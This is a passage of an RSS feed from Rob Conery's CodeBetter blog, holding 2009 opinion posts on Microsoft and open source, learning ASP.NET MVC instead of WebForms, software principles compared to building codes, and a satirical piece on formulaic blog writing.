it&amp;#39;s still not open) are evidence of a shift in thinking.&lt;/p&gt;  &lt;p&gt;Great! But now what?&lt;/p&gt;  &lt;p&gt;Clearly openness and transparency is super groovy - but then what? I&amp;#39;m a huge champion of the open and transparent thing and I&amp;#39;ve been able to do some great stuff in the open with the MVC Storefront and I&amp;#39;ve taken you along with me. I like to think that I was brought to Microsoft to help keep &amp;quot;&lt;a href="http://blog.wekeroad.com/blog/rolling-a-bubble-ndash-asp-net-mvc-is-ms-pl/"&gt;rolling the bubble&lt;/a&gt;&amp;quot; towards more openness - but I have no way of knowing where the rowers are a-rowing; so I just keep plugging along and thankfully they&amp;#39;re letting me :).&lt;/p&gt;  &lt;p&gt;The Storefront has been a great learning tool, and a lot of people have thanked me for it (and you&amp;#39;re all very welcome! I learned a ton too). &lt;strong&gt;But now what&lt;/strong&gt;?&lt;/p&gt;  &lt;p&gt;It was always my intent to pop what I did up on Codeplex and share it with people with the idea that if it had legs - well hooray! So far I have every reason to think it will become quite the open, flexible, &amp;quot;new thinking&amp;quot; type of application that people can learn from, use, extend, and so on. It fires me up and makes me pretty happy because I really like Open Source and what it can do.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;But then again - I&amp;#39;m a Microsoft employee and this is a Microsoft project, after all&lt;/strong&gt;. They&amp;#39;ve given me tremendous latitude to do with it what I will so people can learn core concepts surrounding ASP.NET MVC. That part is sort of done, and now we have Kona - an app that I&amp;#39;m hoping will be somewhat influential with respect to Open Source apps built on ASP.NET. Nice idea - but then there&amp;#39;s the fact that I work on the ASP.NET team.&lt;/p&gt;  &lt;p&gt;What does it mean to you that I&amp;#39;m an MS Employee, on the ASP.NET team, building an OSI-licensed ecommerce app? Do you think Microsoft should do more things like this in a more formal way? Or should it stay out of the picture and let others run with this kind of thing?&lt;/p&gt;  &lt;p&gt;There are so many questions that I have in my head - and I&amp;#39;m very, very interested to know what you think here: &lt;strong&gt;What do you think Microsoft should do with respect to Open Source and .NET?&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=214066" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Philosophy/default.aspx">Philosophy</category></item><item><title>I Spose I’ll Just Say It: You Should Learn MVC</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/04/22/i-spose-i-ll-just-say-it-you-should-learn-mvc.aspx</link><pubDate>Thu, 23 Apr 2009 02:24:00 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:201179</guid><dc:creator>robconery</dc:creator><slash:comments>15</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=201179</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/04/22/i-spose-i-ll-just-say-it-you-should-learn-mvc.aspx#comments</comments><description>&lt;p&gt;I&amp;rsquo;m never shy about my opinion &amp;ndash; why start now? I&amp;rsquo;ve been reading a lot of posts flying about on &lt;a target="_blank" href="http://www.kevinwilliampang.com/post/Should-You-Use-ASPNET-MVC.aspx"&gt;whether you should learn MVC&lt;/a&gt;, &lt;a target="_blank" href="http://beta.blogs.microsoft.co.il/blogs/gilf/archive/2009/01/16/deciding-when-to-use-asp-net-mvc-framework.aspx"&gt;Summing up the differences&lt;/a&gt; so you can decide when to use it, I even found &lt;a target="_blank" href="http://www.coderjournal.com/2008/12/introducing-aspnet-mvc-part-2-aspnet-mvc-vs-webforms/"&gt;a post that offers a scorecard approach&lt;/a&gt;! I remember reading the latter post thinking to myself &amp;ldquo;how can you possibly put a number next to Testability? And why it is only 2 more points than &amp;ldquo;using a RAD designer&amp;rdquo;? Isn&amp;rsquo;t this missing the entire point? &lt;/p&gt;
&lt;p&gt;I felt the need to speak up a bit so &lt;a target="_blank" href="http://www.dotnetkicks.com/mvc/How_to_choose_between_ASP_NET_MVC_and_Web_Forms"&gt;I left a comment on DotNetKicks&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Please don&amp;#39;t use this &amp;quot;scoring&amp;quot; chart with respect to MVC and WebForms. Honestly - you can&amp;#39;t &amp;quot;score&amp;quot; something like &amp;quot;should I care about Testability&amp;quot; (which rates an 8) against &amp;quot;do I need to use this Server Control&amp;quot; (which scores a 10).&amp;nbsp; There are so many problems with approaches like this - really the only answer is to *try it* and see if it works for you or your org.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Today &lt;a target="_blank" href="http://stackoverflow.com/questions/390693/does-anyone-beside-me-just-not-get-asp-net-mvc"&gt;I read a post on StackOverflow&lt;/a&gt; which was pretty contentious wherein the author says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I&amp;#39;ve been fiddling with ASP.NET MVC since the CTP, and I like a lot of things they did, but there are things I just don&amp;#39;t get&amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;lt;snipped ugly viewcode&amp;gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Am I doing something wrong? Because I spent many dark days in classic ASP, and this tag soup reminds me strongly of it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Everyone preaches how you can do cleaner HTML. Guess, what? 1% of all people look at the outputted HTML. To me, I don&amp;#39;t care if Webforms messes up my indentation in the rendered HTML, as long as I have code that is easy to maintain...This is not!&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have definite opinions on this, and today you get to read them. Note that I pushed Scott Hanselman really hard &lt;a target="_blank" href="http://www.amazon.com/Professional-ASP-NET-MVC-1-0-Conery/dp/0470384611"&gt;when we wrote our book&lt;/a&gt; (which I think is shipping today!) to come out AND SAY SOMETHING (Chapter 3 &amp;ndash; a discussion on MVC and WebForms &amp;ndash; and he did an amazingly good job). It&amp;rsquo;s too easy to think &amp;ldquo;hey &amp;ndash; I&amp;rsquo;m Microsoft &amp;ndash; I need to stay balanced here so I don&amp;rsquo;t offend&amp;rdquo; and there&amp;rsquo;s merit to that. &lt;/p&gt;
&lt;p&gt;I, on the other hand, think we should also be able to speak our minds. In that light, I present to you my latest effort at getting in trouble: why you need to read this post, get up, and learn what MVC is all about (if you don&amp;rsquo;t already know).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Great Lie      &lt;br /&gt;&lt;/strong&gt;WebForms is a lie. It&amp;rsquo;s abstraction wrapped in deception covered in lie sauce presented on a plate full of diversion and sleight of hand. Nothing you do with Webforms has anything to do with the web &amp;ndash; you let it do the work for you. &lt;/p&gt;
&lt;p&gt;This, friends, is a big deal (at least to me): You&amp;rsquo;re working in a lie. The web is *not* stateful and works with this stuff called HTML sent across wires using another thing called HTTP &amp;ndash; you need to know this, love this, and feel it at the bone level. I understand this sentence right here is probably making some of you squirm &amp;ndash;&lt;em&gt; please continue squirming (I&amp;rsquo;ll wait).&lt;/em&gt; &lt;a href="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/world_5F00_446E05E2.jpg"&gt;&lt;img border="0" align="right" width="297" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/world_5F00_thumb_5F00_0A129001.jpg" alt="world" height="266" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin:5px;border-right-width:0px;" title="world" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re still squirming, then perhaps web development isn&amp;rsquo;t for you (meant very respectfully and kindly &amp;ndash; not being snarky). I say this because you shouldn&amp;rsquo;t work in a sausage factory if you&amp;rsquo;re allergic to pork, beef, and ground up animal parts. Nor should you put a wig on your cat and hope that it can sing like &lt;a target="_blank" href="http://www.youtube.com/watch?v=RxPZh4AnWyk"&gt;Susan Boyle&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;These are self-deceptions put in place to make you feel better about something lacking, and it&amp;rsquo;s usually not healthy. If you&amp;rsquo;re thinking that you don&amp;rsquo;t need to know HTTP/HTML to work on the web&amp;hellip; you&amp;rsquo;re doing it again! Please see 2 sentences ago. &lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re still thinking it &amp;ndash; your cat needs a new wig.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MVC Is Elite-test?&lt;/strong&gt;     &lt;br /&gt;I&amp;rsquo;m sure that WebForms people are probably thinking I&amp;rsquo;m being a bit of a sh** right now &amp;ndash; and I&amp;rsquo;d like to speak to that. The title of the post here is &amp;ldquo;You Should &lt;strong&gt;Learn&lt;/strong&gt; MVC&amp;rdquo; &amp;ndash; not that you have to use it (although I wish you would &amp;ndash; it&amp;rsquo;s tons of fun!). That&amp;rsquo;s all I&amp;rsquo;m asking &amp;ndash; for you to learn it; I&amp;rsquo;m not telling you that you&amp;rsquo;re a bad person if you don&amp;rsquo;t use it (only that you put wigs on your cat).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MVC Is Full of Tag Soup?&lt;/strong&gt;     &lt;br /&gt;&lt;a target="_blank" href="http://blog.wekeroad.com/blog/asp-net-mvc-avoiding-tag-soup/"&gt;Once again&lt;/a&gt;, I&amp;rsquo;ll say this: Spaghetti is as Spaghetti does. I don&amp;rsquo;t like to see a bunch of if&amp;rsquo;s and fors on my View the same as any other geek. This, friends, is up to you! Not the platform! &lt;strong&gt;Please read this: markup is up to you&lt;/strong&gt;, as with everything else in MVC. Yes it&amp;rsquo;s not drag and drop &amp;ndash; but nothing ever is in life! It&amp;rsquo;s new, it&amp;rsquo;s different &amp;ndash; it&amp;rsquo;s not 1999 if only because we have the power of C# now &amp;ndash; not VBScript. &lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m not afraid of HTML &amp;ndash; and you shouldn&amp;rsquo;t be either. Respect it when putting code to page and use DRY as your guide. We can make it through this, together. You can bring your cat, too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7 Reasons To Stop Calling Me A Jerk      &lt;br /&gt;&lt;/strong&gt;Hopefully you&amp;rsquo;re still here, and hopefully you&amp;rsquo;re thinking &amp;ldquo;enough of the blather already &amp;ndash; gimme something to sink my teeth into&amp;rdquo;. So here goes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1 &amp;ndash; Testability&lt;/strong&gt;. No &amp;ndash; not talking about the TDD variety, just testing in general. If you&amp;rsquo;re &amp;ldquo;not a testing person&amp;rdquo; that&amp;rsquo;s OK &amp;ndash; the rest of the computer science world has embraced the idea that &amp;ldquo;testing what we build is a pretty good idea&amp;rdquo;. You don&amp;rsquo;t really want your clients to catch that silly &amp;ldquo;InvalidCastException&amp;rdquo; do ya? There&amp;rsquo;s LOTS of reasons to want to test &amp;ndash; again not TDD &amp;ndash; just good old Unit Testing! It&amp;rsquo;s easy peasy with MVC and this alone should pull you in to at least check it out &amp;ndash; along with &lt;a target="_blank" href="http://blog.wekeroad.com/kona/kona-2/"&gt;why testing can save you time and money&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2 &amp;ndash; Control over HTML&lt;/strong&gt;. I&amp;rsquo;m sure you&amp;rsquo;ve heard this before &amp;ndash; mangled ID&amp;rsquo;s, non-validating HTML, etc. Why is this important? Because you might want to use client-side programming for something! I won&amp;rsquo;t bang this gong for too long &amp;ndash; but it&amp;rsquo;s a lot more than &amp;ldquo;making ViewSource look pretty&amp;rdquo; &amp;ndash; you&amp;rsquo;re communicating with super-finicky creatures (browsers) that love to argue &amp;ndash; being able to smith the markup experience makes you a more valuable developer!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3 &amp;ndash; Extensibility&lt;/strong&gt;. Literally every part of MVC Is pluggable &amp;ndash; and in the last 3 apps I wrote (Storefront, Nerddinner, and SubSonic&amp;rsquo;s MVC Starter) I used my own ViewEngine to save some time and work. I&amp;rsquo;ve spun up my own ControllerFactory &lt;a target="_blank" href="http://www.asp.net/learn/mvc-videos/video-366.aspx"&gt;so I can use IoC (which is awesome fun!)&lt;/a&gt; Understanding this is the keys to the kingdom for any developer! Have you ever been freaked out because you needed to use Page_PreRender to get something to load into the ControlTree properly so it will show when you need it to? MVC does not lock you into anything &amp;ndash; you&amp;rsquo;re free to do what you want to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4 &amp;ndash; It Makes You Think&lt;/strong&gt;&amp;hellip; This is the one thing I never liked about WebForms &amp;ndash; I never felt like I was thinking &amp;ndash; just solving. May seem like splitting hairs, but not to me. I&amp;rsquo;d get a bit of inspiration and then try to figure out &amp;ldquo;hmmm &amp;ndash; how can I make the form show it this way&amp;rdquo;. MVC is the opposite &amp;ndash; the control is in your hands and you get to be free with it. You get to use your noggin! Wow!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5 &amp;ndash; &amp;hellip;Differently&lt;/strong&gt;: &lt;strong&gt;Javascript Doesn&amp;rsquo;t Suck&lt;/strong&gt;. jQuery, Dojo, extJS &amp;ndash; whatever. These frameworks make client development so easy it&amp;rsquo;s actually fun. Phil and I have recently geeked out extensively using jQuery (he more than me) and I distinctly had the feeling that I&amp;rsquo;ve been missing something. Something that other platforms have had for years &amp;ndash; the ability to make a web experience fun and magical (for a user) through client programming. It makes you think completely differently once you &amp;ldquo;get it&amp;rdquo; &amp;ndash; and soon your server code is being drastically reduced in favor of light, clean client code (thanks to these frameworks) that work up an awesome experience. Cats love jQuery too.&lt;/p&gt;
&lt;p&gt;It may seem weird to say it, but developers like to learn a language every few years &amp;ndash; make javascript the one you learn this year. You might think you know it, but you probably don&amp;rsquo;t know it as well as something like C#/VB. Try to &amp;ndash; it will change your development entirely from scheming out an interaction to how much code you write.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6 &amp;ndash; Learning New Concepts&lt;/strong&gt;. You&amp;rsquo;ve seen them everywhere, &lt;a target="_blank" href="http://stephenwalther.com/blog/archive/2009/04/08/test-after-development-is-not-test-driven-development.aspx"&gt;and seen us fighting about them&lt;/a&gt;. We probably shouldn&amp;rsquo;t argue so much :) but in a way, this is part of the learning process! Either way &amp;ndash; take it upon yourself to learn some things. WebForms is a comfy blanket that can lull you to sleep over time. This has happened to a lot of us (myself included). We&amp;rsquo;re only now catching up with frameworks that have been creating rocking, compelling sites over the last few years &amp;ndash; jog your brain! Wake yourself up and get to know the details that make compelling sites groovy! Learn the things that can help you write more nimble code &amp;ndash; if only so you can argue from a point of knowledge!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7 &amp;ndash; It&amp;rsquo;s Fun&lt;/strong&gt;. This, to me, is the biggest reason. I find MVC fun because I can do what I want, when I want, how I want. I&amp;rsquo;m free to build an experience that I feel will sell my design, and I&amp;rsquo;m not hindered by a A Big Lie and a freaky cat with a wig on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;     &lt;br /&gt;Bottom line: I&amp;rsquo;m having fun web programming again and I think that&amp;rsquo;s pretty motivating, at least for me and my cats. Yet Another Comparison, sure, but hopefully a bit more direct. You have absolutely no reason at all to not learn MVC &amp;ndash; but I will concede there may be a reason or two for you to stick with WebForms.&lt;/p&gt;
&lt;p&gt;I know many people might think I&amp;rsquo;m speaking for the rest of Microsoft &amp;ndash; hardly. I&amp;rsquo;m biased and, more importantly, I actually still have my very own brain which forms its own thoughts! I love MVC and I think you will too &amp;ndash; just please, please try it before you form an opinion.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=201179" width="1" height="1"&gt;</description></item><item><title>Patterns, Purists, and Sinkholes</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/02/11/patterns-purists-and-sinkholes.aspx</link><pubDate>Thu, 12 Feb 2009 02:15:54 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:188312</guid><dc:creator>robconery</dc:creator><slash:comments>35</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=188312</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/02/11/patterns-purists-and-sinkholes.aspx#comments</comments><description>&lt;p&gt;Before I was a geek, I was a Geologist. A Geophysicist to be precise – but mostly I just tell people I was a Geologist. I worked a lot with environmental cleanup, but I also spent a lot of time doing what’s known as “Geotechnical” work – the stuff that happens before buildings are built and holes are dug. It can be kind of boring, but it’s crucially important.&lt;/p&gt;  &lt;p&gt;One day I was sitting in our lab with some dark Bay Mud in a crucible, slowly adding water in measured doses and then pouring the mud through a screen and weighing out differences. I won’t bore you with the details – I’ll just tell you that I was 23 and cranky that this is what my career amounted to – a bunch of rigorous nonsense where I got to weigh mud.&lt;/p&gt;  &lt;p&gt;I started complaining and mumbling and my boss (who was a patient to no end) filled me in on some details:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;What you’re doing, Rob, is measuring the amount of clay that’s in soil at this site. The water you’re using dissolves the clay, and the screen removes the sand from the clay/sand slurry that you’re mixing in the crucible. We need to know how much clay is in the ground so we can know how much it will swell in the winter when it rains. This will keep the building from expanding/contracting and falling over into resultant sinkholes. &lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I won’t bore you with the rest. Suffice to say this: building things has been around for a long time, and it took a WHOLE LOT of buildings falling over before some smart guys (let’s call them purists) got together and said “we should do it this way”. They then convinced their local governments and boom, the building code is born.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Geek Building Codes&lt;/strong&gt;    &lt;br /&gt;My house is built on volcanic clay that’s been amended to some percentage of clay/sand/aggregate so that my house can stay standing for at least 50 years (not counting hurricanes). I’m pretty grateful for that, because I *absolutely know* that if the builder didn’t need to do it, he wouldn’t. Amending and backfilling that much soil sucks, and I don’t want to depend on the original builder to get that right (cause I tell ya, they skimped on a whole bunch of other stuff that I’ve been fixing!).&lt;/p&gt;  &lt;p&gt;Our industry doesn’t have building codes and as such need to compare what we make with what other people make in order to gauge how good our stuff is. That usually results in purse fights and secret clubs, and rarely does much for us as an industry and I can see why people might shy away from engaging in these conversations.&lt;/p&gt;  &lt;p&gt;But to stop asking is to stop learning. Worse yet – to suggest that it’s not even worthwhile is &lt;strong&gt;utterly absurd&lt;/strong&gt;. It drives me nuts when &lt;a href="http://www.codinghorror.com/blog/archives/001225.html"&gt;people write posts&lt;/a&gt; that suggest that principles and standards of quality are cumbersome (even if they didn’t mean to suggest it – which I don’t think Jeff did – read the comments and you’ll know what I mean):&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;The bigger and more grandiose the set of rules you come up with, the more severe the danger. A few broad guidelines on a paint can begets thirty rules for painting, which begets a hundred detailed principles of painting..&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Pretty soon you&amp;#39;ll find yourself believing that every possible situation in software development can be prescribed, if only you could come up with a sufficiently detailed set of rules! And, of course, a critical mass of programmers patient enough to read Volumes I - XV of said rules. You&amp;#39;ll also want to set up a few messageboards for these programmers to argue endlessly amongst themselves about the meaning and interpretation of the rules.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Now let’s transpose this sentence a bit, and apply it to an industry that’s just like ours (the building industry, as discussed above), but a whole lot more mature (my replacements in brackets):&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;The bigger and more grandiose the set of rules you come up with &lt;strong&gt;[for building houses],&lt;/strong&gt; the more severe the danger&lt;strong&gt; [of never getting the house built].&lt;/strong&gt; A few broad guidelines on a paint can begets thirty rules for painting, which begets a hundred detailed principles of painting..&lt;/em&gt; &lt;/p&gt;    &lt;p&gt;&lt;em&gt;Pretty soon you&amp;#39;ll find yourself believing that every possible situation in &lt;strong&gt;[building a house]&lt;/strong&gt; can be prescribed, if only you could come up with a sufficiently detailed set of &lt;strong&gt;[plans]!&lt;/strong&gt; And, of course, a critical mass of &lt;strong&gt;[builders]&lt;/strong&gt; patient enough to read Volumes I - XV of&lt;strong&gt; [the local building code].&lt;/strong&gt; You&amp;#39;ll also want to set up a few&lt;strong&gt; [city building inspectors]&lt;/strong&gt; for these&lt;strong&gt; [builders]&lt;/strong&gt; to argue endlessly amongst themselves about&lt;strong&gt; [whether the builder built your house properly&lt;/strong&gt;].&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;Properly Breaking The Rules&lt;/strong&gt;    &lt;br /&gt;Don’t get me wrong here – I’m not a complete dork espousing that we need to walk in step to a set of software building codes. People break the rules when building houses all the time – but they do it from a perspective of understanding what it is they’re breaking. For example – one of the greatest architects of our time (&lt;a href="http://en.wikipedia.org/wiki/Frank_Lloyd_Wright"&gt;Frank Lloyd Wright&lt;/a&gt;) loved to break rules and even have fun with the concept – even creating things with no right angles at all.&lt;/p&gt;  &lt;p&gt;I love breaking the rules. I can feel Steve Harman sweat a little bit when I write code ahead of a test and I’m absolutely sure baby Alt.NET cries a little when I embed a SQL statement in my code (which yes, I just did the other day and &lt;em&gt;&lt;strong&gt;I’m damn proud of it –&lt;/strong&gt; kids dont’ do this at home, I had my reasons&lt;/em&gt;). The difference is that I KNOW the reasons why this is bad – and I also know why I did it in the first place. I was able to work through the issues and ultimately decided that breaking some principles would be just fine in my case (and no, I’m not going to tell you what it was that I did – but you’ll dig it when you do see it).&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;    &lt;br /&gt;I don’t like being negative and I feel like that’s what this post is – so let’s see if we can turn that frown upside down if only because I like Jeff a whole lot and I feel like I’ve been picking on him of late (that last post was all in good fun I should point out) – and when my computer blows up &lt;a href="http://www.codinghorror.com/blog/archives/001157.html"&gt;I’ll need his help some day&lt;/a&gt; :). I do know what Jeff was after with his point and &lt;strong&gt;I’ll go so far as to defend him on this – that blindly following rules instead of your skills is actually a detriment&lt;/strong&gt;. But your skillz gotta be good if you’re going to diss the Gang of Four and Uncle Bob! What Jeff might have wanted to say is:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;LEARN THESE RULES FIRST AND USE THEM! Then you can decide if they don’t fit what you’re doing! &lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The people that made those principles up are quite smart, and have been doing this for a long, long time. Please don’t take Jeff’s post as the 3:00 school bell (where you run out to the parking lot and smoke cloves and drink wine coolers with your emo friends) – you’re *not* excused.   &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=188312" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Philosophy/default.aspx">Philosophy</category></item><item><title>5 Secrets To Ninja Writing</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx</link><pubDate>Tue, 03 Feb 2009 07:19:09 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:188009</guid><dc:creator>robconery</dc:creator><slash:comments>11</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=188009</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx#comments</comments><description>&lt;p&gt;Sometimes I find myself with &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;absolutely nothing to say&lt;/a&gt; and yet decide to &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;write a post anyway&lt;/a&gt;. Do you ever have that problem? &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;I sure do&lt;/a&gt; – and I thought it might be fun to share some secrets with you about how you can salvage the day when you decide to write a post, and have nothing to say.&lt;/p&gt;  &lt;p&gt;I found &lt;a href="http://www.codinghorror.com/blog/archives/000516.html"&gt;this quote of a quote&lt;/a&gt; by Jeff Atwood to summarize nicely my feeling on blogging and inspiration:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;b&gt;Consider your writing a natural extension of your spoken conversations&lt;/b&gt;. If you aren&amp;#39;t comfortable reading it out loud, rewrite it until you are. In the words of &lt;a href="http://www.elmoreleonard.com/index.php?/forums/viewthread/20"&gt;Elmore Leonard&lt;/a&gt;:&lt;/p&gt;    &lt;blockquote&gt;&lt;i&gt;If it sounds like writing, I rewrite it.&lt;/i&gt;&lt;/blockquote&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;Secret #1&lt;/strong&gt;: Find a good quote, quote it, restate it, and revolve your post around it. For added effect (in case you feel like you really can’t get your/their point across), make sure to (Secret #1.5) &lt;strong&gt;simply bold the summary of the sentence, which gives it a weight of summarily representing the original quote in a different manner, rendering the initial thought yours&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;Make sure to follow up the initial quote (which should establish the point of the post) with another quote/summary pairing that supports it and allows you to be clever – even if it ultimately distracts from the original point. &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;Rob Conery states this&lt;/a&gt; very concisely:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Make sure to follow up the initial quote (which should establish the point of the post) with another quote/summary pairing that supports it and allows you to be clever – even if it ultimately distracts from the original point&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;Secret #2&lt;/strong&gt;: Inject a completely random image of something that’s supposed to be symbolic:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width:0px;margin:5px 0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="Bond, James Bond" border="0" alt="Bond, James Bond" src="http://codebetter.com/blogs/rob.conery/BondJamesBond_24B3782E.png" width="416" height="383" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Secret #3&lt;/strong&gt;: Should you lead off the following paragraph with a question? Probably not – but if you’re worried about this &lt;strong&gt;you can always answer yourself with a bolded sentence&lt;/strong&gt;, thus creating and disposing a nice recursive black-hole paragraph in one pass. For good measure, make sure you follow this up with another long quote from someone who’s books you read a lot of:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Now wait a minute, Mr. Socks Fox! &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;When a fox is in the bottle where the tweetle beetles battle        &lt;br /&gt;with their paddles in a puddle on a noodle-eating poodle,         &lt;br /&gt;THIS is what they call... &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;...a tweetle beetle noodle poodle bottled paddled        &lt;br /&gt;muddled duddled fuddled wuddled fox in socks, sir! &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Fox in socks, our game is done, sir.        &lt;br /&gt;Thank you for a lot of fun, sir.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;Secret #4&lt;/strong&gt;: Lotsa Links. It’s important after a quote (especially one with the magnitude of Fox in Socks) to &lt;strong&gt;pick up the thread and carry it forward to the next idea&lt;/strong&gt;: Make sure you have &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;a plethora of links&lt;/a&gt; to other &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;important things you’ve written&lt;/a&gt;. Especially if they’re on &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;the topic at hand&lt;/a&gt;. &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;Self-linking&lt;/a&gt; is crucial to driving more hits to your blog. &lt;a href="http://www.loosewireblog.com/2007/08/the-sleazy-prac.html"&gt;Jeremy Wagstaff of loosewire&lt;/a&gt; puts it very well:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;It&amp;#39;s a nuisance more than a crime, but to me it still undermines a central tenet of the web: links should be informative and not misleading. If you are linking to anything other than what your reader would expect, then you&amp;#39;re just messing around with them.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;Clearly Jeremy understands the impact that proper self-linking can provide&lt;/strong&gt;, &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/02/02/5-secrets-to-ninja-writing.aspx"&gt;when done properly&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Secret #5&lt;/strong&gt;: The finish of the post is your money shot – the thing that your readers will remember as they warm up their keyboards to tell you that your blog is starting to suck and your writing has become stultifyingly formulaic and boring. Make sure that you restate what you’ve said, and (keeping in mind Secret 1.5) &lt;strong&gt;finish up by confirming that the previous 5 or so minutes were a complete waste of your readers time&lt;/strong&gt;. Or just ask them what they think and be sure not respond to comments :).&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=188009" width="1" height="1"&gt;</description></item><item><title>Software Design Kuleana</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/01/16/software-design-kuleana.aspx</link><pubDate>Fri, 16 Jan 2009 21:17:19 GMT</pubDate><guid 